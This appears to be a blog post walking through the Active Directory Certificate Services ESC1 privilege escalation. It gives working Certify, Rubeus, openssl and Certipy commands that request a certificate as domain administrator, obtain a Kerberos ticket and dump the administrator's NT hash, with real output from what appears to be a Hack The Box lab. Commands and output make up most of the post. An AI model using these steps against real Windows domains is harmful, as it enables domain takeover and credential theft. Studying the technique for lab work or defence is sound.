526互联

WINDOWS ESC1 escalate privilege

发布时间 2023-12-29 11:50:20作者: lisenMiller

ESC1 utilization conditions:

ESC1 needs to meet following requirements to use successfully

1.Have permission to accquire certificate

2.the value of pkiextendedkeyusage is Client Authentication, Encrypting File System, Secure Email  or smartcard login

3.CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT open

msPKI-Certificate-Name-Flag:ENROLLEE_SUPPLIES_SUBJECT

ESC1 Loophole recurrence

CERTIFY / RUBEUS

Certify.exe find /vulnerable

Apply for a certificate for the domain administrator

certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC1 /altname:administrator

Copy the cert.pem to kali and use openssl convert them to pfx file

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Enter no password when prompted

Upload the rubeus and cert.pfx to box and apply for TGT

1.inject the ticket 
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:xxx /ptt
2.dump the credential information about account
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /show /nowrap

 Certipy ONLY

An alternative tool to accomplish the same thing is certipy,which is nice because I can run it remotely from my VM.It has a find command that will identify the vulnerable template

certipy find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable
...[snip]...
Certificate Templates
  0
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms 
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Administrator
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

And req allows me to get the .pfx certificate just like I did with Certify.exe and openssl above:

certipy req -u ryan.cooper -p NuclearMosquitor3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

The auth command will take that certificate (administrator.pfx) and get the hash

certipy auth -pfx administrator.pfx
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Sync the clock with escape using ntpdate:

sudo ntpdate -u sequel.htb
10 Jun 15:17:27 ntpdate[57100]: step time server 10.10.11.202 offset +28798.724561 sec

Dump the hash

certipy auth -pfx administrator.pfx
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee